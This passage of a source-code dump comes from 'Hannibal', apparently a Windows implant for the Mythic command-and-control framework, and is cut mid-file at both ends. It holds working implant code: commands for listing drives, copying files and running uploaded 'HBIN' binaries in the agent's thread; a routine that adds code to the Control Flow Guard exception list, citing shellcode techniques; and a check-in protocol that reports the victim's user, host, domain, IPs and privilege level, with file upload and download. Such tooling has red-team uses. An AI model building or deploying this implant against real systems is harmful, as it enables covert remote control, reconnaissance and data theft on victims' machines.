108 | TASK response_t; 109 | response_t.output = (LPCSTR)response_content; 110 | response_t.output_size = pic_strlenW(response_content)*sizeof(WCHAR) + 2; 111 | response_t.task_uuid = t.task_uuid; 112 | 113 | task_enqueue(hannibal_instance_ptr->tasks.tasks_response_queue, &response_t); 114 | 115 | hannibal_instance_ptr->Win32.VirtualFree(cp->src_path, 0, MEM_RELEASE); 116 | hannibal_instance_ptr->Win32.VirtualFree(cp->dst_path, 0, MEM_RELEASE); 117 | hannibal_instance_ptr->Win32.VirtualFree(t.cmd, 0, MEM_RELEASE); 118 | 119 | } 120 | 121 | #endif -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/agent_code/Hannibal/src/utility_base64.c: -------------------------------------------------------------------------------- 1 | // Credit: https://github.com/zhicheng/base64 2 | 3 | /* This is a public domain base64 implementation written by WEI Zhicheng. */ 4 | 5 | #include "utility_base64.h" 6 | 7 | #define BASE64_PAD '=' 8 | #define BASE64DE_FIRST '+' 9 | #define BASE64DE_LAST 'z' 10 | 11 | /* BASE 64 encode table */ 12 | static const char base64en[] = { 13 | 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 14 | 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 15 | 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 16 | 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 17 | 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 18 | 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 19 | 'w', 'x', 'y', 'z', '0', '1', '2', '3', 20 | '4', '5', '6', '7', '8', '9', '+', '/', 21 | }; 22 | 23 | /* ASCII order for BASE 64 decode, 255 in unused character */ 24 | static const unsigned char base64de[] = { 25 | /* nul, soh, stx, etx, eot, enq, ack, bel, */ 26 | 255, 255, 255, 255, 255, 255, 255, 255, 27 | 28 | /* bs, ht, nl, vt, np, cr, so, si, */ 29 | 255, 255, 255, 255, 255, 255, 255, 255, 30 | 31 | /* dle, dc1, dc2, dc3, dc4, nak, syn, etb, */ 32 | 255, 255, 255, 255, 255, 255, 255, 255, 33 | 34 | /* can, em, sub, esc, fs, gs, rs, us, */ 35 | 255, 255, 255, 255, 255, 255, 255, 255, 36 | 37 | /* sp, '!', '"', '#', '$', '%', '&', ''', */ 38 | 255, 255, 255, 255, 255, 255, 255, 255, 39 | 40 | /* '(', ')', '*', '+', ',', '-', '.', '/', */ 41 | 255, 255, 255, 62, 255, 255, 255, 63, 42 | 43 | /* '0', '1', '2', '3', '4', '5', '6', '7', */ 44 | 52, 53, 54, 55, 56, 57, 58, 59, 45 | 46 | /* '8', '9', ':', ';', '<', '=', '>', '?', */ 47 | 60, 61, 255, 255, 255, 255, 255, 255, 48 | 49 | /* '@', 'A', 'B', 'C', 'D', 'E', 'F', 'G', */ 50 | 255, 0, 1, 2, 3, 4, 5, 6, 51 | 52 | /* 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', */ 53 | 7, 8, 9, 10, 11, 12, 13, 14, 54 | 55 | /* 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', */ 56 | 15, 16, 17, 18, 19, 20, 21, 22, 57 | 58 | /* 'X', 'Y', 'Z', '[', '\', ']', '^', '_', */ 59 | 23, 24, 25, 255, 255, 255, 255, 255, 60 | 61 | /* '`', 'a', 'b', 'c', 'd', 'e', 'f', 'g', */ 62 | 255, 26, 27, 28, 29, 30, 31, 32, 63 | 64 | /* 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', */ 65 | 33, 34, 35, 36, 37, 38, 39, 40, 66 | 67 | /* 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', */ 68 | 41, 42, 43, 44, 45, 46, 47, 48, 69 | 70 | /* 'x', 'y', 'z', '{', '|', '}', '~', del, */ 71 | 49, 50, 51, 255, 255, 255, 255, 255 72 | }; 73 | 74 | SECTION_CODE unsigned int base64_encode(const unsigned char *in, unsigned int inlen, char *out) 75 | { 76 | int s; 77 | unsigned int i; 78 | unsigned int j; 79 | unsigned char c; 80 | unsigned char l; 81 | 82 | s = 0; 83 | l = 0; 84 | for (i = j = 0; i < inlen; i++) { 85 | c = in[i]; 86 | 87 | switch (s) { 88 | case 0: 89 | s = 1; 90 | out[j++] = base64en[(c >> 2) & 0x3F]; 91 | break; 92 | case 1: 93 | s = 2; 94 | out[j++] = base64en[((l & 0x3) << 4) | ((c >> 4) & 0xF)]; 95 | break; 96 | case 2: 97 | s = 0; 98 | out[j++] = base64en[((l & 0xF) << 2) | ((c >> 6) & 0x3)]; 99 | out[j++] = base64en[c & 0x3F]; 100 | break; 101 | } 102 | l = c; 103 | } 104 | 105 | switch (s) { 106 | case 1: 107 | out[j++] = base64en[(l & 0x3) << 4]; 108 | out[j++] = BASE64_PAD; 109 | out[j++] = BASE64_PAD; 110 | break; 111 | case 2: 112 | out[j++] = base64en[(l & 0xF) << 2]; 113 | out[j++] = BASE64_PAD; 114 | break; 115 | } 116 | 117 | out[j] = 0; 118 | 119 | return j; 120 | } 121 | 122 | SECTION_CODE unsigned int base64_decode(const char *in, unsigned int inlen, unsigned char *out) 123 | { 124 | unsigned int i; 125 | unsigned int j; 126 | unsigned char c; 127 | 128 | if (inlen & 0x3) { 129 | return 0; 130 | } 131 | 132 | for (i = j = 0; i < inlen; i++) { 133 | if (in[i] == BASE64_PAD) { 134 | break; 135 | } 136 | if (in[i] < BASE64DE_FIRST || in[i] > BASE64DE_LAST) { 137 | return 0; 138 | } 139 | 140 | c = base64de[(unsigned char)in[i]]; 141 | if (c == 255) { 142 | return 0; 143 | } 144 | 145 | switch (i & 0x3) { 146 | case 0: 147 | out[j] = (c << 2) & 0xFF; 148 | break; 149 | case 1: 150 | out[j++] |= (c >> 4) & 0x3; 151 | out[j] = (c & 0xF) << 4; 152 | break; 153 | case 2: 154 | out[j++] |= (c >> 2) & 0xF; 155 | out[j] = (c & 0x3) << 6; 156 | break; 157 | case 3: 158 | out[j++] |= c; 159 | break; 160 | } 161 | } 162 | 163 | return j; 164 | } -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/agent_code/Hannibal/src/utility_serialization.c: -------------------------------------------------------------------------------- 1 | #include "utility_serialization.h" 2 | 3 | /** 4 | * TODO: Needs cleanup. Add more functions. The readstring functions 5 | * don't read a string as much as they just allocate a buffer 6 | * memcpy, then iterate the buffer pointer. 7 | * 8 | */ 9 | 10 | SECTION_CODE void WriteUint8(UINT8 **buffer, UINT8 value) 11 | { 12 | **buffer = value; 13 | (*buffer)++; 14 | } 15 | 16 | SECTION_CODE void WriteUint32(UINT8 **buffer, UINT32 value) 17 | { 18 | // Ensure little-endian encoding 19 | for (int i = 0; i < 4; i++) { 20 | **buffer = (UINT8)(value & 0xFF); // Write the least significant byte first 21 | (*buffer)++; 22 | value >>= 8; // Shift right to get the next byte 23 | } 24 | } 25 | 26 | SECTION_CODE void WriteUint64(UINT8 **buffer, UINT64 value) 27 | { 28 | for (size_t i = 0; i < sizeof(UINT64); i++) { 29 | **buffer = (UINT8)(value & 0xFF); 30 | (*buffer)++; 31 | value >>= 8; 32 | } 33 | } 34 | 35 | SECTION_CODE void WriteString(UINT8 **buffer, const char *str, BOOL include_null) 36 | { 37 | while (*str) { 38 | **buffer = *str; 39 | (*buffer)++; 40 | str++; 41 | } 42 | if (include_null){ 43 | **buffer = 0; 44 | (*buffer)++; 45 | } 46 | } 47 | 48 | SECTION_CODE void WriteStringW(UINT8 **buffer, const wchar_t *str, BOOL include_null) 49 | { 50 | while (*str) { 51 | // Write each wide character (2 bytes) 52 | **buffer = (UINT8)(*str & 0xFF); // Lower byte 53 | (*buffer)++; 54 | **buffer = (UINT8)((*str >> 8) & 0xFF); // Upper byte 55 | (*buffer)++; 56 | str++; 57 | } 58 | if (include_null) { 59 | // Write the null terminator (0x0000) as 2 bytes 60 | **buffer = 0x00; 61 | (*buffer)++; 62 | **buffer = 0x00; 63 | (*buffer)++; 64 | } 65 | } 66 | 67 | SECTION_CODE void WriteBytes(UINT8 **buffer, const char *str, int size) 68 | { 69 | for (int i = 0; i < size; i++){ 70 | **buffer = *str; 71 | (*buffer)++; 72 | str++; 73 | } 74 | } 75 | 76 | SECTION_CODE UINT8 ReadUint8(UINT8 **buffer) 77 | { 78 | UINT8 value = **buffer; 79 | (*buffer)++; 80 | return value; 81 | } 82 | 83 | SECTION_CODE UINT32 ReadUint32(UINT8 **buffer) 84 | { 85 | UINT32 value = 0; 86 | for (int i = 0; i < 4; i++) { 87 | value |= ((UINT32)**buffer) << (8 * i); 88 | (*buffer)++; 89 | } 90 | return value; 91 | } 92 | 93 | SECTION_CODE UINT8* ReadBytes(UINT8 **buffer, UINT32 length) 94 | { 95 | HANNIBAL_INSTANCE_PTR 96 | 97 | UINT8* bytes = (UINT8*)hannibal_instance_ptr->Win32.VirtualAlloc(NULL, length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 98 | if (!bytes) return NULL; 99 | 100 | pic_memcpy(bytes, *buffer, length); 101 | 102 | *buffer += length; 103 | 104 | return bytes; 105 | } 106 | 107 | /** 108 | * Expects that the string is null terminated. If not, you can use 109 | * the length param. 110 | */ 111 | SECTION_CODE PCHAR ReadString(UINT8 **buffer, UINT32 length) 112 | { 113 | 114 | HANNIBAL_INSTANCE_PTR 115 | 116 | UINT32 str_len = 0; 117 | 118 | while ((*buffer)[str_len] != '\0'){ 119 | str_len++; 120 | } 121 | 122 | PCHAR str = (PCHAR)hannibal_instance_ptr->Win32.VirtualAlloc(NULL, str_len + 1, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 123 | if (!str) return NULL; 124 | pic_memcpy(str, *buffer, str_len + 1); 125 | *buffer += str_len + 1; 126 | return str; 127 | } 128 | 129 | /** 130 | * Expects that the string is null terminated. If not, you can use 131 | * the length param. 132 | */ 133 | SECTION_CODE PWCHAR ReadStringW(UINT8 **buffer, UINT32 length) 134 | { 135 | HANNIBAL_INSTANCE_PTR 136 | 137 | UINT32 str_len = 0; 138 | 139 | while (((PWCHAR)(*buffer))[str_len] != L'\0'){ 140 | str_len++; 141 | } 142 | 143 | PWCHAR str = (PWCHAR)hannibal_instance_ptr->Win32.VirtualAlloc(NULL, (str_len + 1) * sizeof(WCHAR), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 144 | if (!str) return NULL; 145 | pic_memcpy(str, *buffer, (str_len + 1) * sizeof(WCHAR)); 146 | *buffer += (str_len + 1) * sizeof(WCHAR); 147 | return str; 148 | } 149 | 150 | SECTION_CODE DWORD pic_htonl(DWORD hostlong) 151 | { 152 | return ((hostlong & 0xFF000000) >> 24) | // Move byte 3 to byte 0 153 | ((hostlong & 0x00FF0000) >> 8) | // Move byte 2 to byte 1 154 | ((hostlong & 0x0000FF00) << 8) | // Move byte 1 to byte 2 155 | ((hostlong & 0x000000FF) << 24); // Move byte 0 to byte 3 156 | } -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/agent_code/Hannibal/src/cmd_listdrives.c: -------------------------------------------------------------------------------- 1 | #include "config.h" 2 | 3 | 4 | #ifdef INCLUDE_CMD_LISTDRIVES 5 | 6 | #include "hannibal_tasking.h" 7 | 8 | SECTION_CODE void cmd_listdrives(TASK t) 9 | { 10 | HANNIBAL_INSTANCE_PTR 11 | 12 | CMD_LISTDRIVES *ld = (CMD_LISTDRIVES *)t.cmd; 13 | 14 | 15 | size_t INITIAL_BUFFER_SIZE = 4096; 16 | size_t CURRENT_BUFFER_SIZE = INITIAL_BUFFER_SIZE; 17 | size_t CURRENT_BUFFER_USAGE = 0; 18 | 19 | UINT8 *response_content = (UINT8 *)hannibal_instance_ptr->Win32.VirtualAlloc(NULL, INITIAL_BUFFER_SIZE, MEM_COMMIT, PAGE_READWRITE); 20 | 21 | DWORD drives = hannibal_instance_ptr->Win32.GetLogicalDrives(); // Get a bitmask of the drives 22 | WCHAR volume_name[MAX_PATH]; 23 | WCHAR file_system_name[MAX_PATH]; 24 | DWORD volume_serial_number, maximum_component_length, file_system_flags; 25 | 26 | // Iterate through the bitmask of drives 27 | for (WCHAR letter = L'A'; letter <= L'Z'; letter++) { 28 | if (drives & (1 << (letter - L'A'))) { // Check if the drive is available 29 | WCHAR drive_letter[4] = { letter, L':', L'\\', L'\0' }; 30 | 31 | // Get volume information 32 | if (hannibal_instance_ptr->Win32.GetVolumeInformationW( 33 | drive_letter, 34 | volume_name, 35 | sizeof(volume_name) / sizeof(WCHAR), 36 | &volume_serial_number, 37 | &maximum_component_length, 38 | &file_system_flags, 39 | file_system_name, 40 | sizeof(file_system_name) / sizeof(WCHAR))) { 41 | 42 | // Append drive letter information 43 | buffer_append_alloc(&response_content, &CURRENT_BUFFER_SIZE, &CURRENT_BUFFER_USAGE, drive_letter); 44 | buffer_append_alloc(&response_content, &CURRENT_BUFFER_SIZE, &CURRENT_BUFFER_USAGE, L"\n"); 45 | buffer_append_alloc(&response_content, &CURRENT_BUFFER_SIZE, &CURRENT_BUFFER_USAGE, volume_name); 46 | buffer_append_alloc(&response_content, &CURRENT_BUFFER_SIZE, &CURRENT_BUFFER_USAGE, L"\n"); 47 | buffer_append_alloc(&response_content, &CURRENT_BUFFER_SIZE, &CURRENT_BUFFER_USAGE, file_system_name); 48 | buffer_append_alloc(&response_content, &CURRENT_BUFFER_SIZE, &CURRENT_BUFFER_USAGE, L"\n"); 49 | 50 | } 51 | 52 | ULARGE_INTEGER free_bytes_available, total_number_of_bytes, total_number_of_free_bytes; 53 | if (hannibal_instance_ptr->Win32.GetDiskFreeSpaceExW(drive_letter, 54 | &free_bytes_available, 55 | &total_number_of_bytes, 56 | &total_number_of_free_bytes)) { 57 | 58 | ULONG64 total_size_mb = total_number_of_bytes.QuadPart / (1024 * 1024); 59 | ULONG64 free_space_mb = total_number_of_free_bytes.QuadPart / (1024 * 1024); 60 | // ULONG64 used_space_mb = (total_number_of_bytes.QuadPart - total_number_of_free_bytes.QuadPart) / (1024 * 1024); 61 | 62 | WCHAR total_size_str[20], free_space_str[20], used_space_str[20]; 63 | 64 | ulong_to_wchar(total_size_mb, total_size_str); 65 | ulong_to_wchar(free_space_mb, free_space_str); 66 | // ulong_to_wchar(used_space_mb, used_space_str); 67 | 68 | buffer_append_alloc(&response_content, &CURRENT_BUFFER_SIZE, &CURRENT_BUFFER_USAGE, L"Free: "); 69 | buffer_append_alloc(&response_content, &CURRENT_BUFFER_SIZE, &CURRENT_BUFFER_USAGE, free_space_str); 70 | buffer_append_alloc(&response_content, &CURRENT_BUFFER_SIZE, &CURRENT_BUFFER_USAGE, L" MB\n"); 71 | buffer_append_alloc(&response_content, &CURRENT_BUFFER_SIZE, &CURRENT_BUFFER_USAGE, L"Total: "); 72 | buffer_append_alloc(&response_content, &CURRENT_BUFFER_SIZE, &CURRENT_BUFFER_USAGE, total_size_str); 73 | buffer_append_alloc(&response_content, &CURRENT_BUFFER_SIZE, &CURRENT_BUFFER_USAGE, L" MB\n"); 74 | buffer_append_alloc(&response_content, &CURRENT_BUFFER_SIZE, &CURRENT_BUFFER_USAGE, L"\n"); 75 | } 76 | } 77 | } 78 | 79 | TASK response_t; 80 | response_t.output = (LPCSTR)response_content; 81 | response_t.output_size = CURRENT_BUFFER_USAGE; 82 | response_t.task_uuid = t.task_uuid; 83 | 84 | task_enqueue(hannibal_instance_ptr->tasks.tasks_response_queue, &response_t); 85 | 86 | hannibal_instance_ptr->Win32.VirtualFree(t.cmd, 0, MEM_RELEASE); 87 | } 88 | 89 | #endif -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/mythic/agent_functions/execute_hbin.py: -------------------------------------------------------------------------------- 1 | # Adapted from Apollo and Athena 2 | 3 | from mythic_container.MythicCommandBase import * 4 | from mythic_container.MythicRPC import * 5 | 6 | class ExecuteHbinArguments(TaskArguments): 7 | def __init__(self, command_line, **kwargs): 8 | super().__init__(command_line, **kwargs) 9 | self.args = [ 10 | CommandParameter( 11 | name="hbin", 12 | type=ParameterType.File, 13 | description="Upload HBIN file to be executed. Be aware a UINT32 cannot be > 4294967295.", 14 | parameter_group_info=[ 15 | ParameterGroupInfo( 16 | required=True, 17 | ui_position=0, 18 | ) 19 | ], 20 | ), 21 | CommandParameter( 22 | name="hbin_arguments", 23 | cli_name="Arguments", 24 | display_name="Arguments", 25 | type=ParameterType.TypedArray, 26 | default_value=[], 27 | choices=["int32", "string", "wchar"], # TODO: Add base64 back and decode to support passing raw binary to hbins 28 | description="""Arguments to pass to the HBIN via the following way: 29 | -i:123 or int32:123 30 | -z:hello or string:hello 31 | -Z:hello or wchar:hello 32 | -b:abc== or base64:abc==""", 33 | typedarray_parse_function=self.get_arguments, 34 | parameter_group_info=[ 35 | ParameterGroupInfo( 36 | required=False, 37 | group_name="Default", 38 | ui_position=1 39 | ), 40 | ]), 41 | ] 42 | 43 | async def get_arguments(self, arguments: PTRPCTypedArrayParseFunctionMessage) -> PTRPCTypedArrayParseFunctionMessageResponse: 44 | 45 | argumentResponse = PTRPCTypedArrayParseFunctionMessageResponse(Success=True) 46 | argumentSplitArray = [] 47 | 48 | for argValue in arguments.InputArray: 49 | argSplitResult = argValue.split(" ") 50 | for spaceSplitArg in argSplitResult: 51 | argumentSplitArray.append(spaceSplitArg) 52 | 53 | hbin_arguments = [] 54 | 55 | for argument in argumentSplitArray: 56 | 57 | argType,value = argument.split(":",1) 58 | value = value.strip("\'").strip("\"") 59 | 60 | if argType == "": 61 | pass 62 | elif argType == "int32" or argType == "-i": 63 | hbin_arguments.append(["int32",int(value)]) 64 | elif argType == "string" or argType == "-z": 65 | hbin_arguments.append(["string",value]) 66 | elif argType == "wchar" or argType == "-Z": 67 | hbin_arguments.append(["wchar",value]) 68 | # elif argType == "base64" or argType == "-b": 69 | # hbin_arguments.append(["base64",value]) 70 | else: 71 | return PTRPCTypedArrayParseFunctionMessageResponse(Success=False, Error=f"Failed to parse argument: {argument}: Unknown value type.") 72 | 73 | argumentResponse = PTRPCTypedArrayParseFunctionMessageResponse(Success=True, TypedArray=hbin_arguments) 74 | 75 | return argumentResponse 76 | 77 | 78 | async def parse_arguments(self): 79 | if len(self.command_line) > 0: 80 | if self.command_line[0] == "{": 81 | self.load_args_from_json_string(self.command_line) 82 | 83 | 84 | class ExecuteHbinCommand(CommandBase): 85 | cmd = "execute_hbin" 86 | needs_admin = False 87 | help_cmd = "execute_hbin" 88 | description = "Execute a hbin file in same thread." 89 | version = 1 90 | author = "@silentwarble" 91 | argument_class = ExecuteHbinArguments 92 | attackmapping = [] 93 | attributes = CommandAttributes( 94 | load_only=False, 95 | builtin=False, 96 | supported_os=[SupportedOS.Windows], 97 | ) 98 | 99 | async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: 100 | response = PTTaskCreateTaskingMessageResponse( 101 | TaskID=taskData.Task.ID, 102 | Success=True, 103 | ) 104 | 105 | fData = FileData() 106 | fData.AgentFileId = taskData.args.get_arg("hbin") 107 | file = await SendMythicRPCFileGetContent(fData) 108 | 109 | if file.Success: 110 | taskData.args.add_arg("file_size", len(file.Content)) 111 | taskData.args.add_arg("raw", file.Content) 112 | else: 113 | raise Exception("Failed to get file contents: " + file.Error) 114 | 115 | response.DisplayParams = "" 116 | 117 | return response 118 | 119 | 120 | async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: 121 | resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) 122 | return resp -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/agent_code/Hannibal/src/utility_memory.c: -------------------------------------------------------------------------------- 1 | #include "utility_memory.h" 2 | 3 | 4 | SECTION_CODE void *pic_memcpy(void* dest, const void* src, size_t n) 5 | { 6 | unsigned char* d = (unsigned char*)dest; 7 | const unsigned char* s = (const unsigned char*)src; 8 | 9 | // Copy byte by byte 10 | while (n--) { 11 | *d++ = *s++; 12 | } 13 | 14 | return dest; 15 | } 16 | 17 | SECTION_CODE INT MemCompare( PVOID s1, PVOID s2, INT len) 18 | { 19 | PUCHAR p = s1; 20 | PUCHAR q = s2; 21 | INT charCompareStatus = 0; 22 | 23 | if ( s1 == s2 ) { 24 | return charCompareStatus; 25 | } 26 | 27 | while (len > 0) 28 | { 29 | if (*p != *q) 30 | { 31 | charCompareStatus = (*p >*q)?1:-1; 32 | break; 33 | } 34 | len--; 35 | p++; 36 | q++; 37 | } 38 | return charCompareStatus; 39 | } 40 | 41 | 42 | /*! 43 | * @brief 44 | * add module + function to CFG exception list. 45 | * 46 | * @param ImageBase 47 | * @param Function 48 | * Also refer to: 49 | * https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-setprocessvalidcalltargets 50 | * https://conference.hitb.org/hitbsecconf2023ams/materials/D1T2%20-%20Windows%20Syscalls%20in%20Shellcode%20-%20Advanced%20Techniques%20for%20Malicious%20Functionality%20-%20Bramwell%20Brizendine.pdf 51 | * https://www.fortinet.com/blog/threat-research/documenting-the-undocumented-adding-cfg-exceptions 52 | * 53 | */ 54 | SECTION_CODE VOID CfgAddressAdd( 55 | IN PVOID ImageBase, 56 | IN PVOID Function 57 | ) { 58 | 59 | HANNIBAL_INSTANCE_PTR 60 | 61 | 62 | CFG_CALL_TARGET_INFO Cfg = { 0 }; 63 | MEMORY_RANGE_ENTRY MemRange = { 0 }; 64 | VM_INFORMATION VmInfo = { 0 }; 65 | PIMAGE_NT_HEADERS NtHeader = { 0 }; 66 | ULONG Output = 0; 67 | NTSTATUS NtStatus = STATUS_SUCCESS; 68 | 69 | NtHeader = (LPVOID)( ImageBase + ( ( PIMAGE_DOS_HEADER ) ImageBase )->e_lfanew ); 70 | MemRange.NumberOfBytes = (UINT_PTR)( NtHeader->OptionalHeader.SizeOfImage + 0x1000 - 1 ) &~( 0x1000 - 1 ); 71 | MemRange.VirtualAddress = ImageBase; 72 | 73 | /* set cfg target call info */ 74 | Cfg.Flags = CFG_CALL_TARGET_VALID; 75 | Cfg.Offset = (char*)Function - (char*)ImageBase; 76 | 77 | VmInfo.dwNumberOfOffsets = 1; 78 | VmInfo.plOutput = &Output; 79 | VmInfo.ptOffsets = &Cfg; 80 | VmInfo.pMustBeZero = FALSE; 81 | VmInfo.pMoarZero = FALSE; 82 | 83 | // Possible the call is failing because the loader is not compiled with CFG 84 | if ( ! NT_SUCCESS( NtStatus = hannibal_instance_ptr->Win32.NtSetInformationVirtualMemory( NtCurrentProcess(), VmCfgCallTargetInformation, 1, &MemRange, &VmInfo, sizeof( VmInfo ) ) ) ) { 85 | // hannibal_instance_ptr->Win32.MessageBoxA( NULL, (LPCSTR)"INSIDE NtSetInformationVirtualMemory", "Fail", MB_OK ); 86 | // __debugbreak(); 87 | } 88 | } 89 | 90 | /** 91 | * @brief Appends a wide-character string to a dynamically allocated buffer. 92 | * 93 | * This function appends the given wide-character string (`str`) to the buffer 94 | * pointed to by `buffer`. If the buffer does not have enough space to accommodate 95 | * the new string, the buffer is reallocated to a larger size to fit the new data. 96 | * The buffer is allocated in pages (4096 bytes), and the current usage and size 97 | * are updated accordingly. The function also ensures that the buffer is null-terminated 98 | * after the append operation. There's probably a cleaner way to do this. TODO: Improve. 99 | * 100 | * @param[in,out] buffer A pointer to the buffer (allocated dynamically). The buffer 101 | * will be updated to point to a larger buffer if reallocation 102 | * is necessary. 103 | * @param[in,out] current_size The current size of the buffer (in bytes). This value 104 | * will be updated if the buffer is reallocated. 105 | * @param[in,out] current_usage The current amount of data used in the buffer (in bytes). 106 | * This value will be updated after appending the string. 107 | * @param[in] str A pointer to the wide-character string to append to the buffer. 108 | * 109 | * @return void 110 | */ 111 | SECTION_CODE void buffer_append_alloc(UINT8 **buffer, size_t *current_size, size_t *current_usage, const WCHAR *str) 112 | { 113 | HANNIBAL_INSTANCE_PTR 114 | 115 | size_t new_byte_count = pic_strlenW(str)*sizeof(WCHAR); 116 | size_t needed_size = *current_usage + new_byte_count; 117 | 118 | if(needed_size >= *current_size - sizeof(WCHAR)){ 119 | size_t new_size = needed_size + 4096; 120 | UINT8* new_buffer = (UINT8*)hannibal_instance_ptr->Win32.VirtualAlloc(NULL, new_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 121 | pic_memcpy(new_buffer, *buffer, *current_usage); 122 | hannibal_instance_ptr->Win32.VirtualFree(*buffer, 0, MEM_RELEASE); 123 | *buffer = new_buffer; 124 | *current_size = new_size; 125 | } 126 | 127 | pic_memcpy(*buffer + *current_usage, str, new_byte_count); 128 | *current_usage += new_byte_count; 129 | (*buffer)[*current_usage] = L'\0'; 130 | } -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/agent_code/Hannibal/include/profile_mythic_http.h: -------------------------------------------------------------------------------- 1 | #ifndef PROFILE_MYTHIC_HTTP_H 2 | #define PROFILE_MYTHIC_HTTP_H 3 | 4 | #include "hannibal.h" 5 | #include "utility_http_wininet.h" 6 | #include "utility_base64.h" 7 | #include "utility_strings.h" 8 | #include "utility_serialization.h" 9 | #include "hannibal_tasking.h" 10 | #include "utility_encryption_helpers.h" 11 | 12 | 13 | // Internal Profile Functionality 14 | void mythic_http_checkin(); 15 | void mythic_http_get_tasks(); 16 | void mythic_http_post_tasks(); 17 | 18 | 19 | //////////////////////////////////////////// Message Encoding TLVs 20 | 21 | ///////////////////////// Checkin Message 22 | // https://docs.mythic-c2.net/customizing/payload-type-development/create_tasking/agent-side-coding/initial-checkin 23 | 24 | ///////////////////////// Get Tasks 25 | // https://docs.mythic-c2.net/customizing/payload-type-development/create_tasking/agent-side-coding/action_get_tasking 26 | 27 | // Type definitions 28 | typedef unsigned char UINT8; 29 | typedef unsigned short UINT16; 30 | typedef unsigned int UINT32; 31 | typedef unsigned long long UINT64; 32 | 33 | #define MESSAGE_TYPE_CHECKIN 1 34 | #define MESSAGE_TYPE_CHECKIN_RESPONSE 2 35 | #define MESSAGE_TYPE_GET_TASKS 3 36 | #define MESSAGE_TYPE_GET_TASKS_RESPONSE 4 37 | #define MESSAGE_TYPE_POST_TASKS 5 38 | #define MESSAGE_TYPE_START_DOWNLOAD 6 39 | #define MESSAGE_TYPE_CONTINUE_DOWNLOAD 7 40 | #define MESSAGE_TYPE_POST_TASKS_RESPONSE 8 41 | #define MESSAGE_TYPE_FILE_UPLOAD 9 42 | 43 | 44 | // TLV structure 45 | typedef struct { 46 | UINT8 type; 47 | UINT32 length; 48 | UINT8 *value; 49 | } TLV; 50 | 51 | // TLV Types 52 | enum TLVType { 53 | 54 | // Checkin Message TLVs 55 | TLV_CHECKIN_UUID = 2, 56 | TLV_CHECKIN_IPS = 3, 57 | TLV_CHECKIN_OS = 4, 58 | TLV_CHECKIN_USER = 5, 59 | TLV_CHECKIN_HOST = 6, 60 | TLV_CHECKIN_PID = 7, 61 | TLV_CHECKIN_ARCHITECTURE = 8, 62 | TLV_CHECKIN_DOMAIN = 9, 63 | TLV_CHECKIN_INTEGRITY_LEVEL = 10, 64 | TLV_CHECKIN_EXTERNAL_IP = 11, 65 | TLV_CHECKIN_ENCRYPTION_KEY = 12, 66 | TLV_CHECKIN_DECRYPTION_KEY = 13, 67 | TLV_CHECKIN_PROCESS_NAME = 14, 68 | 69 | // CHECKIN_RESPONSE 70 | TLV_CHECKIN_RESPONSE_ID = 15, 71 | 72 | // CMD TLVs 73 | TLV_CMD_ID = 16, 74 | 75 | // ls 76 | TLV_CMD_LS_PARAM_PATH = 17, 77 | TLV_CMD_LS_PARAM_HOST = 18, 78 | 79 | // POST TASKING 80 | TLV_POST_TASKING = 20, 81 | TLV_POST_TASKING_ID = 21, 82 | TLV_POST_TASKING_CONTENT = 22, 83 | 84 | // Download File Agent > Mythic 85 | TLV_START_DOWNLOAD_CHUNK_COUNT = 23, 86 | TLV_START_DOWNLOAD_CHUNK_SIZE = 24, 87 | TLV_DOWNLOAD_PARAM_PATH = 25, 88 | TLV_CONTINUE_DOWNLOAD_CHUNK_NUMBER = 26, 89 | TLV_CONTINUE_DOWNLOAD_FILE_ID = 27, 90 | TLV_CONTINUE_DOWNLOAD_FILE_DATA = 28, 91 | TLV_START_DOWNLOAD_FILEPATH = 29, 92 | 93 | // Upload File Mythic > Agent 94 | TLV_UPLOAD_REMOTE_PATH = 30, 95 | TLV_UPLOAD_FILE_UUID = 31, 96 | TLV_UPLOAD_CHUNK_NUMBER = 32, 97 | TLV_UPLOAD_CHUNK_SIZE = 33, 98 | TLV_UPLOAD_CHUNK_COUNT = 34, 99 | 100 | // execute_hbin 101 | TLV_CMD_EXECUTE_HBIN_ARGS = 35, 102 | TLV_CMD_EXECUTE_HBIN_BIN = 36, 103 | 104 | // rm 105 | TLV_CMD_RM_PATH = 37, 106 | 107 | // cd 108 | TLV_CMD_CD_PATH = 38, 109 | 110 | // cp 111 | TLV_CMD_CP_SRC_PATH = 39, 112 | TLV_CMD_CP_DST_PATH = 40, 113 | 114 | // mv 115 | TLV_CMD_MV_SRC_PATH = 41, 116 | TLV_CMD_MV_DST_PATH = 42, 117 | 118 | // mkdir 119 | TLV_CMD_MKDIR_PATH = 43, 120 | 121 | // execute 122 | TLV_CMD_EXECUTE_PATH = 44, 123 | 124 | // sleep 125 | TLV_CMD_SLEEP_INTERVAL = 45, 126 | TLV_CMD_SLEEP_JITTER = 46, 127 | 128 | }; 129 | 130 | // Checkin Message structure 131 | typedef struct _CheckinMessage { 132 | UINT8 action; 133 | char *uuid; // Mythic mangles if it's WCHAR 134 | WCHAR **ips; 135 | UINT32 ips_count; 136 | WCHAR *os; 137 | WCHAR *user; 138 | WCHAR *host; 139 | UINT32 pid; 140 | WCHAR *architecture; 141 | WCHAR *domain; 142 | UINT32 integrity_level; 143 | WCHAR 